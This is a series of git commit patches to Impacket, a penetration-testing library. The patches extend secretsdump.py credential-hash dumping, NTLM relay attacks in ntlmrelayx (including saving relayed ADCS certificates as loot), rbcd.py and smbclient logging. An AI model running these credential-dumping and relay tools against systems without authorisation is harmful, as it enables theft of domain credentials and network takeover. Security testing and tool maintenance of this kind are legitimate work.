'68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', + 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', +} From 4a42d5c405fe73ccd9d60b37b2375459484aec5f Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 26 Apr 2024 16:11:56 -0300 Subject: [PATCH 28/49] Update copyright notice --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index b22c470584..a54ec9fa55 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2024 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From 37cc8f953311cf3a37eb39d47be2b14e4c5272f0 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 26 Apr 2024 16:13:31 -0300 Subject: [PATCH 29/49] Update copyright notice --- impacket/msada_guids.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py index 0d485fd972..c199d9304c 100644 --- a/impacket/msada_guids.py +++ b/impacket/msada_guids.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2024 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From f52a566a26299dac73e99469f54d811c0171189d Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Mon, 29 Apr 2024 09:45:17 -0300 Subject: [PATCH 30/49] Update ChangeLog.md --- ChangeLog.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/ChangeLog.md b/ChangeLog.md index 58d27ddb3c..3f500ef094 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -29,11 +29,12 @@ https://github.com/fortra/impacket/commits/master 3. New examples * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter (@ShutdownRepo)\ * [GetADComputers.py](examples/GetADComputers.py): Query's DC via LDAP and returns the COMPUTER objects and the useful attributes such as full dns name, operating system name and version. (@F-Masood) - * [readLAPS.py](examples/readLAPS.py): tries to read all the LAPS password from the current domain computers (@F-Masood) + * [readLAPS.py](examples/readLAPS.py): Tries to read all the LAPS password from the current domain computers (@F-Masood) + * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). Charlie BROMBERG (@_nwodtuhs), Guillaume DAUMAS (@BlWasp_), Lucien DOUSTALY (@Wlayzz) As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz ## Impacket v0.11.0 (Aug 2023): From af62accbf3fb9b95b900da2d74bc67fa9882d6d1 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Mon, 29 Apr 2024 09:46:57 -0300 Subject: [PATCH 31/49] Update ChangeLog.md --- ChangeLog.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ChangeLog.md b/ChangeLog.md index 3f500ef094..2c3588a32d 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -27,10 +27,10 @@ https://github.com/fortra/impacket/commits/master * Start remote registry as unprivileged user in reg.py (@dadevel) 3. New examples - * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter (@ShutdownRepo)\ + * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter. (@ShutdownRepo) * [GetADComputers.py](examples/GetADComputers.py): Query's DC via LDAP and returns the COMPUTER objects and the useful attributes such as full dns name, operating system name and version. (@F-Masood) - * [readLAPS.py](examples/readLAPS.py): Tries to read all the LAPS password from the current domain computers (@F-Masood) - * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). Charlie BROMBERG (@_nwodtuhs), Guillaume DAUMAS (@BlWasp_), Lucien DOUSTALY (@Wlayzz) + * [readLAPS.py](examples/readLAPS.py): Tries to read all the LAPS password from the current domain computers. (@F-Masood) + * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). (@_nwodtuhs) (@BlWasp_) (@Wlayzz) As always, thanks a lot to all these contributors that make this library better every day (up to now): From 3997a5b44b17694de0abf6e5d6f766f6849f54a4 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Thu, 2 May 2024 10:02:42 -0300 Subject: [PATCH 32/49] Update ChangeLog.md --- ChangeLog.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ChangeLog.md b/ChangeLog.md index 2c3588a32d..17d7e2ba46 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -34,7 +34,7 @@ https://github.com/fortra/impacket/commits/master As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks ## Impacket v0.11.0 (Aug 2023): From 6bfe53928f37eb1fd1ce4df4cf7c41a2e7346caf Mon Sep 17 00:00:00 2001 From: Jake Date: Thu, 2 May 2024 19:40:00 -0700 Subject: [PATCH 33/49] Update rbcd.py (#1738) Identified that rbcd failed with a "constrained violation" error when only using the NT hash. The solution was including the LM hash too, despite the fact that it was "blank". Added a line that'll set the LM hash to "aad3b435b51404eeaad3b435b51404ee" if one isn't provided. --- examples/rbcd.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/examples/rbcd.py b/examples/rbcd.py index 0a64c37fce..93bfa470b3 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -459,6 +459,8 @@ def parse_identity(args): if args.hashes is not None: lmhash, nthash = args.hashes.split(':') + if lmhash == '': + lmhash = 'aad3b435b51404eeaad3b435b51404ee' else: lmhash = '' nthash = '' From 66050dd567b3836c3038612e36bd8bb0284a50f3 Mon Sep 17 00:00:00 2001 From: m8r1us <20727068+m8r1us@users.noreply.github.com> Date: Fri, 3 May 2024 04:40:47 +0200 Subject: [PATCH 34/49] %s placeholder mssing (#1740) --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index cf9da1378f..12eae8f91d 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -872,7 +872,7 @@ def get_next_serial(server, zone): LOG.info('Adding `A` record `%s` pointing to `%s` at `%s`' % (a_record_name, ipaddr, a_record_dn)) if not self.client.add(a_record_dn, ['top', 'dnsNode'], a_record_data): - LOG.error('Failed to add `A` record: ' % str(self.client.result)) + LOG.error('Failed to add `A` record: %s' % str(self.client.result)) return LOG.info('Added `A` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % a_record_name) @@ -894,7 +894,7 @@ def get_next_serial(server, zone): LOG.info('Adding `NS` record `%s` pointing to `%s` at `%s`' % (ns_record_name, ns_record_value, ns_record_dn)) if not self.client.add(ns_record_dn, ['top', 'dnsNode'], ns_record_data): - LOG.error('Failed to add `NS` record `wpad`: ' % str(self.client.result)) + LOG.error('Failed to add `NS` record `wpad`: %s' % str(self.client.result)) return LOG.info('Added `NS` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % ns_record_name) From cb8467c3847774c9b87fb154f94cc5224a7b0fb5 Mon Sep 17 00:00:00 2001 From: RazzburyPi <85591098+RazzburyPi@users.noreply.github.com> Date: Thu, 2 May 2024 21:50:35 -0500 Subject: [PATCH 35/49] Quality of life improvements (#1439) * Added ability to specify an output file for smbclient.py to log commands / output while using the smbclient shell * Improved logging to output file for smbclient * Added increased control over execution of secretsdump.py, including ability to skip specific users when dumping NTDS.dit or skip SAM hive when dumping remote machine * Improved relaying to ADCS endpoints * Improved relaying to ADCS endpoints * Requested ADCS certificates are now saved to lootdir specified in command line * Improved writing certificate to file * Improved log file for smbclient.py * Bug fix with smbclient output file after rebase * Bug fix with outputfile logic --- examples/secretsdump.py | 76 +++++++++++-------- examples/smbclient.py | 17 +++-- .../attacks/httpattacks/adcsattack.py | 15 +++- .../ntlmrelayx/servers/httprelayserver.py | 5 +- .../ntlmrelayx/servers/smbrelayserver.py | 3 +- impacket/examples/secretsdump.py | 15 +++- impacket/examples/smbclient.py | 39 +++++++++- 7 files changed, 123 insertions(+), 47 deletions(-) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index a881a8cef7..94f7db72c1 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -96,6 +96,8 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds + self.__skipSam = options.skip_sam + self.__skipSecurity = options.skip_security self.__history = options.history self.__noLMHash = True self.__isRemote = True @@ -105,6 +107,7 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__ldapFilter = options.ldapfilter + self.__skipUser = options.skip_user self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile @@ -227,38 +230,40 @@ def dump(self): else: # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: - try: - if self.__isRemote is True: - SAMFileName = self.__remoteOps.saveSAM() - else: - SAMFileName = self.__samHive - - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) - self.__SAMHashes.dump() - if self.__outputFileName is not None: - self.__SAMHashes.export(self.__outputFileName) - except Exception as e: - logging.error('SAM hashes extraction failed: %s' % str(e)) - - try: - if self.__isRemote is True: - SECURITYFileName = self.__remoteOps.saveSECURITY() - else: - SECURITYFileName = self.__securityHive - - self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + if not self.__skipSam: + try: + if self.__isRemote is True: + SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive + + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + if not self.__skipSecurity: + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) - self.__LSASecrets.dumpCachedHashes() - if self.__outputFileName is not None: - self.__LSASecrets.exportCached(self.__outputFileName) - self.__LSASecrets.dumpSecrets() - if self.__outputFileName is not None: - self.__LSASecrets.exportSecrets(self.__outputFileName) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: @@ -273,8 +278,9 @@ def dump(self): noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, - outputFileName=self.__outputFileName, justUser=self.__justUser, - ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) + outputFileName=self.__outputFileName, justUser=self.__justUser, + skipUser=self.__skipUser, ldapFilter=self.__ldapFilter, + printUserStatus=self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: @@ -360,6 +366,8 @@ def cleanup(self): parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' 'state') + parser.add_argument('-skip-sam', action='store_true', help='Do NOT parse the SAM hive on remote system') + parser.add_argument('-skip-security', action='store_true', help='Do NOT parse the SECURITY hive on remote system') parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, @@ -382,6 +390,8 @@ def cleanup(self): help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') group.add_argument('-just-dc-ntlm', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes only)') + group.add_argument('-skip-user', action='store', help='Do NOT extract NTDS.DIT data for the user specified. ' + 'Can provide comma-separated list of users to skip, or text file with one user per line') group.add_argument('-pwd-last-set', action='store_true', default=False, help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') group.add_argument('-user-status', action='store_true', default=False, diff --git a/examples/smbclient.py b/examples/smbclient.py index 7605268342..0d27711f07 100755 --- a/examples/smbclient.py +++ b/examples/smbclient.py @@ -35,7 +35,8 @@ def main(): parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') - parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') + parser.add_argument('-inputfile', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') + parser.add_argument('-outputfile', action='store', help='Output file to log smbclient actions in') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') @@ -101,11 +102,16 @@ def main(): else: smbClient.login(username, password, domain, lmhash, nthash) - shell = MiniImpacketShell(smbClient) + shell = MiniImpacketShell(smbClient, None, options.outputfile) - if options.file is not None: - logging.info("Executing commands from %s" % options.file.name) - for line in options.file.readlines(): + if options.outputfile is not None: + f = open(options.outputfile, 'a') + f.write('=' * 20 + '\n' + options.target_ip + '\n' + '=' * 20 + '\n') + f.close() + + if options.inputfile is not None: + logging.info("Executing commands from %s" % options.inputfile.name) + for line in options.inputfile.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) @@ -113,6 +119,7 @@ def main(): print(line, end=' ') else: shell.cmdloop() + except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index 8481f2e092..3a94c76f85 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -15,6 +15,7 @@ import re import base64 +import os from OpenSSL import crypto from impacket import LOG @@ -58,7 +59,7 @@ def _run(self): response = self.client.getresponse() if response.status != 200: - LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") + LOG.error("Error getting certificate! Make sure you have entered valid certificate template.") return content = response.read() @@ -76,7 +77,17 @@ def _run(self): certificate = response.read().decode() certificate_store = self.generate_pfx(key, certificate) - LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) + LOG.info("Writing certificate to %s/%s.pfx" % (self.config.lootdir, self.username)) + try: + if not os.path.isdir(self.config.lootdir): + os.mkdir(self.config.lootdir) + with open("%s/%s.pfx" % (self.config.lootdir, self.username), 'wb') as f: + f.write(certificate_store) + LOG.info("Certificate successfully written to file") + except Exception as e: + LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead") + LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) + pass if self.config.altName: LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 68db7d36a3..57030fc5ac 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -469,7 +469,8 @@ def do_relay(self, messageType, token, proxy, content = None): writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) - self.server.config.target.logTarget(self.target, True, self.authUser) + if not self.server.config.isADCSAttack: + self.server.config.target.logTarget(self.target, True, self.authUser) self.do_attack() if self.server.config.disableMulti: # We won't use the redirect trick, closing connection... @@ -543,4 +544,4 @@ def run(self): except KeyboardInterrupt: pass LOG.info('Shutting down HTTP Server') - self.server.server_close() \ No newline at end of file + self.server.server_close() diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 9e02b2ea17..a61025c883 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -359,7 +359,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client - self.targetprocessor.logTarget(self.target, True, self.authUser) + if not self.config.isADCSAttack: + self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 3c885d1d2d..68add5e868 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1996,7 +1996,7 @@ class CRYPTED_BLOB(Structure): def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, - justUser=None, ldapFilter=None, printUserStatus=False, + justUser=None, skipUser=None,ldapFilter=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : _print_helper(secret), resumeSessionMgr=ResumeSessionMgrInFile): self.__bootKey = bootKey @@ -2020,6 +2020,7 @@ def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=Tr self.__outputFileName = outputFileName self.__justUser = justUser self.__ldapFilter = ldapFilter + self.__skipUser = skipUser self.__perSecretCallback = perSecretCallback # these are all the columns that we need to get the secrets. @@ -2499,7 +2500,16 @@ def dump(self): hashesOutputFile = None keysOutputFile = None clearTextOutputFile = None + skipUsers = [] + if self.__skipUser: + if os.path.isfile(self.__skipUser): + f = open(self.__skipUser, 'r') + skipUsers = [ line.strip() for line in f ] + f.close() + else: + skipUsers = self.__skipUser.split(',') + if self.__useVSSMethod is True: if self.__NTDS is None: # No NTDS.dit file provided and were asked to use VSS @@ -2702,7 +2712,8 @@ def dump(self): for user in resp['Buffer']['Buffer']: userName = user['Name'] - + if userName in skipUsers: + continue userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId']) if resumeSid is not None: # Means we're looking for a SID before start processing back again diff --git a/impacket/examples/smbclient.py b/impacket/examples/smbclient.py index 81a9c01fd6..4bd4a640f8 100755 --- a/impacket/examples/smbclient.py +++ b/impacket/examples/smbclient.py @@ -42,7 +42,7 @@ import readline class MiniImpacketShell(cmd.Cmd): - def __init__(self, smbClient, tcpShell=None): + def __init__(self, smbClient, tcpShell=None, outputfile=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout @@ -67,12 +67,17 @@ def __init__(self, smbClient, tcpShell=None): self.loggedIn = True self.last_output = None self.completion = [] + self.outputfile = outputfile def emptyline(self): pass def precmd(self,line): # switch to unicode + if self.outputfile is not None: + f = open(self.outputfile, 'a') + f.write('> ' + line + "\n") + f.close() if PY2: return line.decode('utf-8') return line @@ -325,8 +330,14 @@ def do_shares(self, line): LOG.error("Not logged in") return resp = self.smb.listShares() + if self.outputfile is not None: + f = open(self.outputfile, 'a') for i in range(len(resp)): + if self.outputfile: + f.write(resp[i]['shi1_netname'][:-1] + '\n') print(resp[i]['shi1_netname'][:-1]) + if self.outputfile: + f.close() def do_use(self,line): if self.loggedIn is False: @@ -372,6 +383,10 @@ def do_pwd(self,line): LOG.error("Not logged in") return print(self.pwd.replace("\\","/")) + if self.outputfile is not None: + f = open(self.outputfile, 'a') + f.write(self.pwd.replace("\\","/")) + f.close() def do_ls(self, wildcard, display = True): if self.loggedIn is False: @@ -387,12 +402,22 @@ def do_ls(self, wildcard, display = True): self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) + if self.outputfile is not None: + of = open(self.outputfile, 'a') for f in self.smb.listPath(self.share, pwd): if display is True: + if self.outputfile: + of.write("%crw-rw-rw- %10d %s %s" % ( + 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), + f.get_longname()) + "\n") + print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) + if self.outputfile: + of.close() + def do_lls(self, currentDir): if currentDir == "": currentDir = "./" @@ -460,7 +485,6 @@ def do_tree(self, filepath): pass print("Finished - " + str(totalFilesRead) + " files and folders") - def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") @@ -575,14 +599,25 @@ def do_cat(self, filename): output = fh.getvalue() encoding = chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" + if self.outputfile is not None: + f = open(self.outputfile, 'a') if encoding: try: + if self.outputfile: + f.write(output.decode(encoding) + '\n') + f.close() print(output.decode(encoding)) except: + if self.outputfile: + f.write(error_msg + '\n') + f.close() print(error_msg) finally: fh.close() else: + if self.outpufile: + f.write(error_msg + '\n') + f.close() print(error_msg) fh.close() From 8856defa664f895b4d29d94c9715e535987411fc Mon Sep 17 00:00:00 2001 From: alexisbalbachan Date: Mon, 6 May 2024 19:37:29 -0300 Subject: [PATCH 36/49] NTLMRelayX Multirelay fixes and behavioral changes (#1741) * * Record failed targets * [MULTIRELAY][Default Behavior] The relay will cycle over its target list only once, this matches the behavior of the single relay mode * [MULTIRELAY] Added a flag to cycle over the target list any time a new connection is established, essentially relaying against each target in the list for every incoming connection * [MULTIRELAY] HTTP server will stop consuming targets after the first failed attempt, this matches the behavior of SMB server * Fixed issue in HTTP server when an unhandled exception occurs while trying to establish a connection with the target. Now it is recorded as a failed attempt. * * When a connection attempt fails (such as connection refused) the target is now (internally) marked as "failed" * Bugfix: initclient-> unhandled return status of client.initconnection, now properly raises an exception when that call fails * Bugfix: enable-retries now works with smbserver * [REFACTOR] Renamed logTarget -> registerTarget * Modified flag help text * * Record failed targets * [MULTIRELAY][Default Behavior] The relay will cycle over its target list only once, this matches the behavior of the single relay mode * [MULTIRELAY] Added a flag to cycle over the target list any time a new connection is established, essentially relaying against each target in the list for every incoming connection * [MULTIRELAY] HTTP server will stop consuming targets after the first failed attempt, this matches the behavior of SMB server * Fixed issue in HTTP server when an unhandled exception occurs while trying to establish a connection with the target. Now it is recorded as a failed attempt. * * When a connection attempt fails (such as connection refused) the target is now (internally) marked as "failed" * Bugfix: initclient-> unhandled return status of client.initconnection, now properly raises an exception when that call fails * Bugfix: enable-retries now works with smbserver * [REFACTOR] Renamed logTarget -> registerTarget * Modified flag help text * * Renamed enable-retries flag to keep-relaying * Set default value of keep-relaying flag to False --- examples/ntlmrelayx.py | 2 + .../ntlmrelayx/servers/httprelayserver.py | 43 +++++++++++++---- .../ntlmrelayx/servers/rawrelayserver.py | 4 +- .../ntlmrelayx/servers/smbrelayserver.py | 40 +++++++++++----- .../ntlmrelayx/servers/wcfrelayserver.py | 4 +- impacket/examples/ntlmrelayx/utils/config.py | 4 ++ .../examples/ntlmrelayx/utils/targetsutils.py | 48 +++++++++++++------ 7 files changed, 105 insertions(+), 40 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index c2b130b88d..d892912e91 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -183,6 +183,7 @@ def start_servers(options, threads): c.setEnumLocalAdmins(options.enum_local_admins) c.setAddComputerSMB(options.add_computer) c.setDisableMulti(options.no_multirelay) + c.setKeepRelaying(options.keep_relaying) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) @@ -291,6 +292,7 @@ def stop_servers(threads): parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') + parser.add_argument('--keep-relaying', action="store_true", required=False, help='If set, keeps relaying to a target even after a successful connection on it') parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 57030fc5ac..67c35f95dd 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -368,6 +368,9 @@ def do_local_auth(self, messageType, token, proxy): LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + if self.server.config.keepRelaying: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], @@ -384,30 +387,43 @@ def do_relay(self, messageType, token, proxy, content = None): LOG.info("HTTPD(%s): Connection from %s controlled, but there are no more targets left!" % ( self.server.server_address[1], self.client_address[0])) self.send_not_found() + if self.server.config.keepRelaying: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s controlled, attacking target %s://%s" % ( self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc)) - if not self.do_ntlm_negotiate(token, proxy=proxy): + + try: + ntlm_negotiate_response = self.do_ntlm_negotiate(token, proxy=proxy) + except Exception as e: + LOG.error('HTTPD(%d): Exception while Negotiating NTLM with %s://%s: "%s"' % (self.server.server_address[1], self.target.scheme, self.target.netloc, str(e))) + ntlm_negotiate_response = False + + if not ntlm_negotiate_response: # Connection failed if self.server.config.disableMulti: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1], self.target.scheme, self.target.netloc)) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target) self.send_not_found() return else: LOG.error('HTTPD(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % ( self.server.server_address[1], self.target.scheme, self.target.netloc)) - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target, gotUsername=self.authUser) self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: LOG.info( "HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + if self.server.config.keepRelaying: + self.server.config.target.reloadTargets(full_reload=True) + return LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], @@ -438,19 +454,25 @@ def do_relay(self, messageType, token, proxy, content = None): # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': - self.server.config.target.logTarget(self.target) + self.server.config.target.registerTarget(self.target, gotUsername=self.authUser) # No anonymous login, go to next host and avoid triggering a popup self.target = self.server.config.target.getTarget(identity=self.authUser) if self.target is None: LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" % (self.server.server_address[1], self.authUser, self.client_address[0])) self.send_not_found() + + if self.server.config.keepRelaying: + self.server.config.target.reloadTargets(full_reload=True) return - LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1], - self.authUser, self.client_address[0], self.target.scheme, self.target.netloc)) + self.send_not_found() # Stop relaying at first login fail, this matches the behavior of smbrelayserver - self.do_REDIRECT() + # Uncomment lines below to keep relaying after login failures + # LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % 